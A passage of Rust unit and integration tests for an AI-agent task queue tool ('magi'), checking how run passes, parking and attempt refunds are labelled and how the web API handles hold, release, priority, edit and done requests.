12143 let t = flow_task(&[FA]);
12144 let f = flow_for(
12145 &t,
12146 &[(
12147 FA,
12148 Some(flow_run(RunStatus::Stalled, |s| {
12149 s.quota.push(crate::run::QuotaLoss {
12150 seat: "judge-1".to_owned(),
12151 node: "judge".to_owned(),
12152 at: Timestamp::now(),
12153 reset: None,
12154 })
12155 })),
12156 )],
12157 );
12158 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12159 }
12160
12161 #[test]
12162 fn flow_parked_refunds_and_stall_without_quota_spends() {
12163 let mut t = flow_task(&[FA]);
12164 t.status = TaskStatus::Queued;
12165 let f = flow_for(
12166 &t,
12167 &[(
12168 FA,
12169 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12170 )],
12171 );
12172 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12173 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12174 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12175 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12176 assert!(!f.nodes[1].decided);
12177 }
12178
12179 #[test]
12180 fn flow_keeps_an_unreadable_run_as_its_own_node() {
12181 let t = flow_task(&[FA, FB]);
12182 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12183 assert_eq!(f.nodes[1].note, Some("unreadable"));
12184 assert!(!f.nodes[1].readable);
12185 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12186 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12187 }
12188
12189 #[test]
12190 fn flow_names_the_branch_of_a_review_only_run() {
12191 let t = flow_task(&[FA]);
12192 let f = flow_for(
12193 &t,
12194 &[(
12195 FA,
12196 Some(flow_run(RunStatus::Merged, |s| {
12197 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12198 })),
12199 )],
12200 );
12201 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12202 assert_eq!(
12203 f.nodes[1].detail.as_deref(),
12204 Some("review-only run of branch magi/x/A")
12205 );
12206 }
12207
12208 #[test]
12209 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12210 let mut t = flow_task(&[FA]);
12211 t.status = TaskStatus::Held;
12212 let pr = crate::run::PrRecord {
12213 url: "https://example.test/pr/1".to_owned(),
12214 number: 1,
12215 state: "open".to_owned(),
12216 checks: "green".to_owned(),
12217 round: 0,
12218 rounds: 3,
12219 red_at_merge: Vec::new(),
12220 };
12221 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12222 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12223 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12224 t.status = TaskStatus::Done;
12225 let f = flow_for(&t, &[(FA, Some(blocked))]);
12226 assert_eq!(f.edges[1].label, "closed by hand: task is done");
12227 }
12228
12229 #[test]
12230 fn flow_with_no_runs_goes_from_queued_to_queued() {
12231 let t = flow_task(&[]);
12232 let f = flow_for(&t, &[]);
12233 assert_eq!(f.nodes.len(), 2);
12234 assert_eq!(f.edges.len(), 1);
12235 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12236 assert_eq!(f.edges[0].attempt, AttemptCost::None);
12237 }
12238
12239 #[test]
12242 fn a_parked_non_terminal_run_is_explained_as_parked() {
12243 let mut s = RunState::new(
12244 PathBuf::from("/repo/magi"),
12245 "main".to_owned(),
12246 "0123456789abcdef".to_owned(),
12247 "Do it".to_owned(),
12248 Config::default(),
12249 );
12250 s.status = RunStatus::Implementing;
12251 s.parked = true;
12252 let task = Task::new(
12253 "t".to_owned(),
12254 "Do it".to_owned(),
12255 PathBuf::from("/repo/magi"),
12256 Source::Human,
12257 );
12258 let v = task_run_view(
12259 "20260902-140501-aaaa",
12260 Some(&s),
12261 RunSlot {
12262 n: 1,
12263 resumed: false,
12264 resumed_later: None,
12265 prior: None,
12266 last: true,
12267 ..RunSlot::default()
12268 },
12269 &task,
12270 );
12271 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12272 }
12273
12274 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12275 let mut s = flow_run(RunStatus::Implementing, edit);
12276 s.parked = false;
12277 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12278 task_run_view(
12279 "20260902-140501-aaaa",
12280 Some(&s),
12281 RunSlot {
12282 n: 1,
12283 resumed: false,
12284 resumed_later: Some(2),
12285 prior: None,
12286 last: false,
12287 ..RunSlot::default()
12288 },
12289 &task,
12290 )
12291 }
12292
12293 #[test]
12294 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12295 let v = earlier_pass_view(|_| {});
12296 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12297 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12298 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12299 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12300 assert_eq!(v.exit, RunExit::Interrupted);
12301 assert_eq!(v.attempt, AttemptCost::Unknown);
12302 }
12303
12304 #[test]
12305 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12306 let v = earlier_pass_view(|s| {
12307 s.quota.push(crate::run::QuotaLoss {
12308 seat: "judge-1".to_owned(),
12309 node: "judge".to_owned(),
12310 at: Timestamp::now(),
12311 reset: None,
12312 });
12313 });
12314 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12315 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12316 assert_eq!(v.attempt, AttemptCost::Unknown);
12317 }
12318
12319 #[test]
12320 fn the_current_pass_states_its_recorded_cause_and_cost() {
12321 let slot = || RunSlot {
12322 n: 1,
12323 resumed: false,
12324 resumed_later: None,
12325 prior: None,
12326 last: true,
12327 ..RunSlot::default()
12328 };
12329 let task = flow_task(&["20260902-140501-aaaa"]);
12330 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12331 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12332 assert_eq!(
12333 (v.exit, v.attempt),
12334 (RunExit::Parked, AttemptCost::Refunded)
12335 );
12336 let spent = flow_run(RunStatus::Blocked, |_| {});
12337 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12338 assert_eq!(v.attempt, AttemptCost::Spent);
12339 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12340 }
12341
12342 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12343 crate::run::RunPass {
12344 index,
12345 started_at: Timestamp::now(),
12346 resumed: index > 0,
12347 ended_at: end.as_ref().map(|_| Timestamp::now()),
12348 end,
12349 task_entry: true,
12350 }
12351 }
12352
12353 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12354 Some(crate::run::PassEnd::Parked { cause })
12355 }
12356
12357 fn upgrade_cause() -> crate::run::ParkCause {
12358 crate::run::ParkCause::Upgrade {
12359 from: "0.121.0".to_owned(),
12360 to: Some("0.121.1".to_owned()),
12361 }
12362 }
12363
12364 fn settled_pass(
12365 run: &str,
12366 index: usize,
12367 cost: crate::queue::PassCost,
12368 ) -> crate::queue::TaskPass {
12369 crate::queue::TaskPass {
12370 run: run.to_owned(),
12371 pass_index: index,
12372 cost,
12373 attempts_after: 1,
12374 settled_at: Timestamp::now(),
12375 parked: None,
12376 }
12377 }
12378
12379 const RUN_X: &str = "20261011-223708-4334";
12380
12381 #[test]
12382 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12383 use crate::queue::PassCost;
12384 let run = flow_run(RunStatus::Implementing, |s| {
12385 s.passes = vec![
12386 recorded_pass(0, parked(upgrade_cause())),
12387 recorded_pass(1, None),
12388 ];
12389 });
12390 let mut task = flow_task(&[RUN_X, RUN_X]);
12391 task.attempts = 1;
12392 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12393 let h = task_history(&task, |_| Some(run.clone()));
12394 assert_eq!(h.len(), 2);
12395 assert_eq!(h[0].kind, "competition");
12396 assert_eq!(h[1].kind, "resume");
12397 assert_eq!(
12398 (h[0].exit, h[0].attempt),
12399 (RunExit::Parked, AttemptCost::Refunded)
12400 );
12401 assert!(
12402 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12403 "{}",
12404 h[0].outcome
12405 );
12406 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12407 assert!(
12408 h[0].outcome.contains("pass #2 resumed the same run"),
12409 "{}",
12410 h[0].outcome
12411 );
12412 assert!(
12413 h[0].outcome.contains("pass 1 of 2 over run"),
12414 "{}",
12415 h[0].outcome
12416 );
12417 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12418 assert_eq!(
12419 h[0].exit_label,
12420 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12421 );
12422 let f = task_flow(&task, &h, 2, None);
12423 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12425 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12426 assert!(
12427 f.edges[1].label.contains("upgrade 0.121.0"),
12428 "{}",
12429 f.edges[1].label
12430 );
12431 assert!(
12432 f.edges[1].label.contains("resume the same run"),
12433 "{}",
12434 f.edges[1].label
12435 );
12436 assert_eq!(f.nodes[1].note, Some("parked"));
12437 }
12438
12439 #[test]
12440 fn an_upgrade_whose_target_was_not_known_says_so() {
12441 let run = flow_run(RunStatus::Implementing, |s| {
12442 s.passes = vec![
12443 recorded_pass(
12444 0,
12445 parked(crate::run::ParkCause::Upgrade {
12446 from: "0.121.0".to_owned(),
12447 to: None,
12448 }),
12449 ),
12450 recorded_pass(1, None),
12451 ];
12452 });
12453 let task = flow_task(&[RUN_X, RUN_X]);
12454 let h = task_history(&task, |_| Some(run.clone()));
12455 assert!(
12456 h[0].outcome.contains("upgrade from 0.121.0"),
12457 "{}",
12458 h[0].outcome
12459 );
12460 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12462 }
12463
12464 #[test]
12465 fn each_pass_keeps_its_own_cause_across_several_resumes() {
12466 use crate::queue::PassCost;
12467 use crate::run::ParkCause;
12468 let run = flow_run(RunStatus::Implementing, |s| {
12469 s.passes = vec![
12470 recorded_pass(0, parked(upgrade_cause())),
12471 recorded_pass(
12472 1,
12473 parked(ParkCause::Interrupt {
12474 reason: "task a1b2 asked to run first".to_owned(),
12475 }),
12476 ),
12477 recorded_pass(2, parked(ParkCause::Operator)),
12478 recorded_pass(3, None),
12479 ];
12480 });
12481 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12482 task.attempts = 1;
12483 task.passes = (0..3)
12484 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12485 .collect();
12486 let h = task_history(&task, |_| Some(run.clone()));
12487 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12488 assert!(
12489 h[1].outcome.contains("task a1b2 asked to run first"),
12490 "{}",
12491 h[1].outcome
12492 );
12493 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12494 assert!(
12495 h[2].outcome.contains("operator asked the loop to park"),
12496 "{}",
12497 h[2].outcome
12498 );
12499 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12500 let f = task_flow(&task, &h, 2, None);
12501 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12502 }
12503
12504 #[test]
12505 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12506 let run = flow_run(RunStatus::Implementing, |s| {
12507 s.passes = vec![
12508 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12509 recorded_pass(1, None),
12510 ];
12511 });
12512 let task = flow_task(&[RUN_X, RUN_X]);
12513 let h = task_history(&task, |_| Some(run.clone()));
12514 assert_eq!(h[0].exit, RunExit::Interrupted);
12515 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12516 assert!(
12517 h[0].outcome.contains("without recording why"),
12518 "{}",
12519 h[0].outcome
12520 );
12521 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12522 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12523 }
12524
12525 #[test]
12526 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12527 use crate::queue::PassCost;
12528 let run = flow_run(RunStatus::Implementing, |s| {
12531 s.passes = vec![
12532 recorded_pass(0, parked(upgrade_cause())),
12533 recorded_pass(1, None),
12534 ];
12535 });
12536 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12537 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12538 let h = task_history(&task, |_| Some(run.clone()));
12539 assert!(h[0].pass.is_none());
12540 assert_eq!(h[0].exit, RunExit::Interrupted);
12541 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12542 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12543 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12544 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12545 let legacy = flow_run(RunStatus::Implementing, |_| {});
12547 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12548 assert!(h.iter().all(|v| v.pass.is_none()));
12549 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12550 }
12551
12552 #[test]
12553 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12554 use crate::queue::PassCost;
12555 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12558 web.task_entry = false;
12559 let run = flow_run(RunStatus::Implementing, |s| {
12560 s.passes = vec![
12561 recorded_pass(0, parked(upgrade_cause())),
12562 web.clone(),
12563 recorded_pass(2, None),
12564 ];
12565 });
12566 let mut task = flow_task(&[RUN_X, RUN_X]);
12567 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12568 let h = task_history(&task, |_| Some(run.clone()));
12569 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12570 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12571
12572 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12575 web0.task_entry = false;
12576 let run = flow_run(RunStatus::Implementing, |s| {
12577 s.passes = vec![web0.clone(), recorded_pass(1, None)];
12578 });
12579 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12580 assert!(h[0].pass.is_none());
12581 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12582 assert!(h[1].pass.is_some());
12583 }
12584
12585 #[tokio::test]
12586 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12587 let f = Fixture::start().await;
12588 let queue = f.queue();
12589 let mut task = Task::new(
12590 "spent".to_owned(),
12591 "Try again".to_owned(),
12592 PathBuf::from("/repo/magi"),
12593 Source::Human,
12594 );
12595 task.start("20260902-140502-bbbb".to_owned());
12596 task.fail("agent gave up", 9);
12597 queue.put(&mut task).expect("file the task");
12598
12599 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12600 assert_eq!(held.status, 200);
12601 assert_eq!(held.json()["status_str"], "held");
12602
12603 let released = f
12604 .post(&format!("/api/queue/{}/release", task.id), None)
12605 .await;
12606 assert_eq!(released.status, 200);
12607 assert_eq!(released.json()["status_str"], "queued");
12608 assert_eq!(
12609 released.json()["attempts"],
12610 0,
12611 "release is a real second chance, not an instant re-hold"
12612 );
12613 assert_eq!(
12614 queue.get(&task.id).expect("reload").status,
12615 TaskStatus::Queued,
12616 "the change is on disk, not only in the reply"
12617 );
12618 assert!(
12619 !f.home
12620 .path()
12621 .join("queue")
12622 .join(format!("{}.lock", task.id))
12623 .exists(),
12624 "the claim the mutation took is released again"
12625 );
12626 }
12627
12628 #[tokio::test]
12629 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12630 let f = Fixture::start().await;
12631 let queue = f.queue();
12632 let mut task = Task::new(
12633 "busy".to_owned(),
12634 "Running right now".to_owned(),
12635 PathBuf::from("/repo/magi"),
12636 Source::Human,
12637 );
12638 queue.put(&mut task).expect("file the task");
12639 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12640
12641 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12642
12643 assert_eq!(res.status, 409);
12644 assert_eq!(
12645 queue.get(&task.id).expect("reload").status,
12646 TaskStatus::Queued,
12647 "the refused hold changed nothing"
12648 );
12649 }
12650
12651 #[tokio::test]
12652 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12653 let f = Fixture::start().await;
12654 let queue = f.queue();
12655 let mut task = Task::new(
12656 "waiting on the migration".to_owned(),
12657 "Do the thing".to_owned(),
12658 PathBuf::from("/repo/magi"),
12659 Source::Human,
12660 );
12661 queue.put(&mut task).expect("file the task");
12662
12663 let held = f
12664 .post(
12665 &format!("/api/queue/{}/hold", task.id),
12666 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12667 )
12668 .await;
12669 assert_eq!(held.status, 200, "{}", held.body);
12670 assert_eq!(held.json()["status_str"], "held");
12671 assert_eq!(
12672 held.json()["hold_reason"],
12673 "waiting for 20260101-000000-aaaa to land"
12674 );
12675
12676 let listed = f.get("/api/queue").await.json();
12677 assert_eq!(
12678 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12679 "the card reads the reason off the same list route"
12680 );
12681
12682 let mut plain = Task::new(
12685 "no reason given".to_owned(),
12686 "Do another thing".to_owned(),
12687 PathBuf::from("/repo/magi"),
12688 Source::Human,
12689 );
12690 queue.put(&mut plain).expect("file the task");
12691 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12692 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12693 assert!(held_plain.json()["hold_reason"].is_null());
12694
12695 let released = f
12696 .post(&format!("/api/queue/{}/release", task.id), None)
12697 .await;
12698 assert_eq!(released.status, 200);
12699 assert!(
12700 released.json()["hold_reason"].is_null(),
12701 "a release must clear the reason so the next hold does not inherit it"
12702 );
12703 }
12704
12705 #[tokio::test]
12706 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12707 let f = Fixture::start().await;
12708 let queue = f.queue();
12709 let mut older = Task::new(
12710 "filed first".to_owned(),
12711 "x".to_owned(),
12712 PathBuf::from("/repo/magi"),
12713 Source::Human,
12714 );
12715 older.id = "20260101-000001-aaaa".to_owned();
12716 let mut newer = Task::new(
12717 "filed second".to_owned(),
12718 "x".to_owned(),
12719 PathBuf::from("/repo/magi"),
12720 Source::Human,
12721 );
12722 newer.id = "20260101-000002-bbbb".to_owned();
12723 queue.put(&mut older).expect("file older");
12724 queue.put(&mut newer).expect("file newer");
12725
12726 let before = f.get("/api/queue").await.json();
12729 assert_eq!(before[0]["id"], newer.id);
12730 assert_eq!(before[1]["id"], older.id);
12731
12732 let raised = f
12736 .post(
12737 &format!("/api/queue/{}/priority", older.id),
12738 Some(r#"{"priority":10}"#),
12739 )
12740 .await;
12741 assert_eq!(raised.status, 200, "{}", raised.body);
12742 assert_eq!(raised.json()["priority"], 10);
12743
12744 let after = f.get("/api/queue").await.json();
12745 let names: Vec<&str> = after
12746 .as_array()
12747 .unwrap()
12748 .iter()
12749 .map(|t| t["id"].as_str().unwrap())
12750 .collect();
12751 assert_eq!(names[0], older.id, "the raised task now sorts first");
12755 }
12756
12757 #[tokio::test]
12758 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12759 let dir = TempDir::new().unwrap();
12760 let repo = dir.path().join("repo");
12761 std::fs::create_dir(&repo).unwrap();
12762 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12763 let q = Queue::at(dir.path().join("queue"));
12764 let ui = Arc::new(Ui::new(
12765 q.clone(),
12766 Questions::at(dir.path().join("questions")),
12767 Talks::at(dir.path().join("talks")),
12768 dir.path().join("runs"),
12769 dir.path().to_path_buf(),
12770 repo.clone(),
12771 ));
12772 let mut t = Task::new(
12773 "seats".into(),
12774 "keep instruction".into(),
12775 repo,
12776 Source::Human,
12777 );
12778 t.runs.push("prior-run".into());
12779 t.hold_manual(Some("waiting".into()));
12780 q.put(&mut t).unwrap();
12781 let change = |count| {
12782 queue_implementers(
12783 State(ui.clone()),
12784 Path(t.id.clone()),
12785 Ok(Json(ImplementersBody {
12786 implementers: count,
12787 })),
12788 )
12789 };
12790 for count in [2, 1, 2] {
12791 let response = change(count).await.unwrap();
12792 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12793 let saved = q.get(&t.id).unwrap();
12794 assert_eq!(saved.implementers(), Some(usize::from(count)));
12795 assert_eq!(saved.runs, t.runs);
12796 assert_eq!(saved.instruction, t.instruction);
12797 }
12798 for count in [0, 4] {
12799 assert_eq!(
12800 change(count).await.err().unwrap().status,
12801 StatusCode::BAD_REQUEST
12802 );
12803 }
12804 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12805 let claim = q.claim(&t.id).unwrap();
12806 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12807 drop(claim);
12808 for status in [
12809 TaskStatus::Running,
12810 TaskStatus::Done,
12811 TaskStatus::Failed,
12812 TaskStatus::Blocked,
12813 TaskStatus::Parked,
12814 ] {
12815 let mut stored = q.get(&t.id).unwrap();
12816 stored.status = status;
12817 q.put(&mut stored).unwrap();
12818 assert_eq!(
12819 change(1).await.err().unwrap().status,
12820 StatusCode::BAD_REQUEST
12821 );
12822 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12823 }
12824 }
12825
12826 #[tokio::test]
12827 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12828 let f = Fixture::start().await;
12829 let queue = f.queue();
12830 let mut task = Task::new(
12831 "in flight".to_owned(),
12832 "x".to_owned(),
12833 PathBuf::from("/repo/magi"),
12834 Source::Human,
12835 );
12836 task.start("20260902-140502-bbbb".to_owned());
12837 queue.put(&mut task).expect("file the task");
12838
12839 let res = f
12840 .post(
12841 &format!("/api/queue/{}/priority", task.id),
12842 Some(r#"{"priority":9}"#),
12843 )
12844 .await;
12845 assert_eq!(res.status, 400, "{}", res.body);
12846 assert!(
12847 res.json()["error"]
12848 .as_str()
12849 .is_some_and(|e| e.contains("running")),
12850 "{}",
12851 res.body
12852 );
12853 assert_eq!(
12854 queue.get(&task.id).expect("reload").priority,
12855 0,
12856 "the refused write must not partially apply"
12857 );
12858 }
12859
12860 #[tokio::test]
12861 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12862 let f = Fixture::start().await;
12863 let queue = f.queue();
12864 let mut task = Task::new(
12865 "old title".to_owned(),
12866 "old instruction".to_owned(),
12867 PathBuf::from("/repo/magi"),
12868 Source::Agent {
12869 run: "20260101-000000-beef".to_owned(),
12870 node: "implement".to_owned(),
12871 },
12872 );
12873 task.runs.push("20260101-000000-beef".to_owned());
12874 queue.put(&mut task).expect("file the task");
12875 let created_at = task.created_at;
12876
12877 let edited = f
12878 .post(
12879 &format!("/api/queue/{}/edit", task.id),
12880 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12881 )
12882 .await;
12883 assert_eq!(edited.status, 200, "{}", edited.body);
12884 let body = edited.json();
12885 assert_eq!(body["title"], "new title");
12886 assert_eq!(body["instruction"], "new instruction");
12887 assert_eq!(body["id"], task.id, "editing must not mint a new id");
12888 assert_eq!(body["created_at"], created_at.to_string());
12889 assert_eq!(
12890 body["source"]["kind"], "agent",
12891 "editing a task an agent filed must not turn it human: {body}"
12892 );
12893 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12894
12895 let reloaded = queue.get(&task.id).expect("reload");
12896 assert_eq!(reloaded.title, "new title");
12897 assert_eq!(reloaded.instruction, "new instruction");
12898 }
12899
12900 #[tokio::test]
12901 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12902 let tmp = TempDir::new().expect("tempdir");
12905 let repo = tmp.path().join("repo");
12906 std::fs::create_dir_all(&repo).expect("repo dir");
12907 let judge = MOCK_AGENT_TOML.replace(
12908 "printf ok",
12909 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12910 );
12911 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12912 let f = Fixture::with_repo(repo.clone()).await;
12913 let queue = f.queue();
12914 let mut owner = Task::new(
12915 "owner".to_owned(),
12916 "review it".to_owned(),
12917 repo.clone(),
12918 Source::Human,
12919 );
12920 owner.review_branch = Some("magi/ab12/A".to_owned());
12921 queue.put(&mut owner).expect("file the owner");
12922 let mut task = Task::new(
12923 "draft".to_owned(),
12924 "old".to_owned(),
12925 repo.clone(),
12926 Source::Human,
12927 );
12928 queue.put(&mut task).expect("file the draft");
12929 let url = format!("/api/queue/{}/edit", task.id);
12930
12931 let refused = f
12932 .post(
12933 &url,
12934 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12935 )
12936 .await;
12937 assert_eq!(refused.status, 409, "{}", refused.body);
12938 let msg = refused.json()["error"]
12939 .as_str()
12940 .unwrap_or_default()
12941 .to_owned();
12942 assert!(
12943 msg.contains("magi/ab12/A") && msg.contains("force"),
12944 "{msg}"
12945 );
12946 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12947
12948 let forced = f
12949 .post(
12950 &url,
12951 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12952 )
12953 .await;
12954 assert_eq!(forced.status, 200, "{}", forced.body);
12955 }
12956
12957 #[tokio::test]
12958 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12959 let f = Fixture::start().await;
12960 let queue = f.queue();
12961 let mut task = Task::new(
12962 "in flight".to_owned(),
12963 "do not touch".to_owned(),
12964 PathBuf::from("/repo/magi"),
12965 Source::Human,
12966 );
12967 task.start("20260902-140502-bbbb".to_owned());
12968 queue.put(&mut task).expect("file the task");
12969
12970 let res = f
12971 .post(
12972 &format!("/api/queue/{}/edit", task.id),
12973 Some(r#"{"title":"x","instruction":"y"}"#),
12974 )
12975 .await;
12976 assert_eq!(res.status, 400, "{}", res.body);
12977 assert!(
12978 res.json()["error"]
12979 .as_str()
12980 .is_some_and(|e| e.contains("running")),
12981 "{}",
12982 res.body
12983 );
12984 assert_eq!(
12985 queue.get(&task.id).expect("reload").instruction,
12986 "do not touch",
12987 "the refused edit must not change the file"
12988 );
12989 }
12990
12991 #[tokio::test]
12992 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12993 let f = Fixture::start().await;
12994 let queue = f.queue();
12995 let mut task = Task::new(
12996 "busy".to_owned(),
12997 "Running right now".to_owned(),
12998 PathBuf::from("/repo/magi"),
12999 Source::Human,
13000 );
13001 queue.put(&mut task).expect("file the task");
13002 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13003
13004 let priority = f
13005 .post(
13006 &format!("/api/queue/{}/priority", task.id),
13007 Some(r#"{"priority":9}"#),
13008 )
13009 .await;
13010 assert_eq!(priority.status, 409, "{}", priority.body);
13011
13012 let edit = f
13013 .post(
13014 &format!("/api/queue/{}/edit", task.id),
13015 Some(r#"{"title":"x","instruction":"y"}"#),
13016 )
13017 .await;
13018 assert_eq!(edit.status, 409, "{}", edit.body);
13019 }
13020
13021 #[tokio::test]
13022 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
13023 let f = Fixture::start().await;
13024 let queue = f.queue();
13025 let mut task = Task::new(
13026 "shipped by hand".to_owned(),
13027 "merged outside the loop".to_owned(),
13028 PathBuf::from("/repo/magi"),
13029 Source::Agent {
13030 run: "20260101-000000-b455".to_owned(),
13031 node: "implement".to_owned(),
13032 },
13033 );
13034 task.runs.push("20260101-000000-b455".to_owned());
13035 task.runs.push("20260101-000000-9af4".to_owned());
13036 queue.put(&mut task).expect("file the task");
13037 let created_at = task.created_at;
13038
13039 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13040 assert_eq!(done.status, 200, "{}", done.body);
13041 assert_eq!(done.json()["status_str"], "done");
13042
13043 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13044 assert_eq!(
13045 reloaded.runs,
13046 ["20260101-000000-b455", "20260101-000000-9af4"]
13047 );
13048 assert_eq!(
13049 reloaded.source,
13050 Source::Agent {
13051 run: "20260101-000000-b455".to_owned(),
13052 node: "implement".to_owned(),
13053 }
13054 );
13055 assert_eq!(reloaded.created_at, created_at);
13056 }
13057
13058 #[tokio::test]
13059 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13060 let f = Fixture::start().await;
13065 let queue = f.queue();
13066 let mut task = Task::new(
13067 "landed while held".to_owned(),
13068 "x".to_owned(),
13069 PathBuf::from("/repo/magi"),
13070 Source::Human,
13071 );
13072 task.hold_manual(Some("waiting on 3ed9".to_owned()));
13073 queue.put(&mut task).expect("file the held task");
13074
13075 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13076 assert_eq!(done.status, 200, "{}", done.body);
13077 assert_eq!(done.json()["status_str"], "done");
13078 assert!(
13079 done.json()["hold_reason"].is_null(),
13080 "a done task cannot still be waiting on something: {}",
13081 done.body
13082 );
13083 }
13084
13085 #[tokio::test]
13086 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13087 let f = Fixture::start().await;
13092 let queue = f.queue();
13093 let runs = f.runs();
13094 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
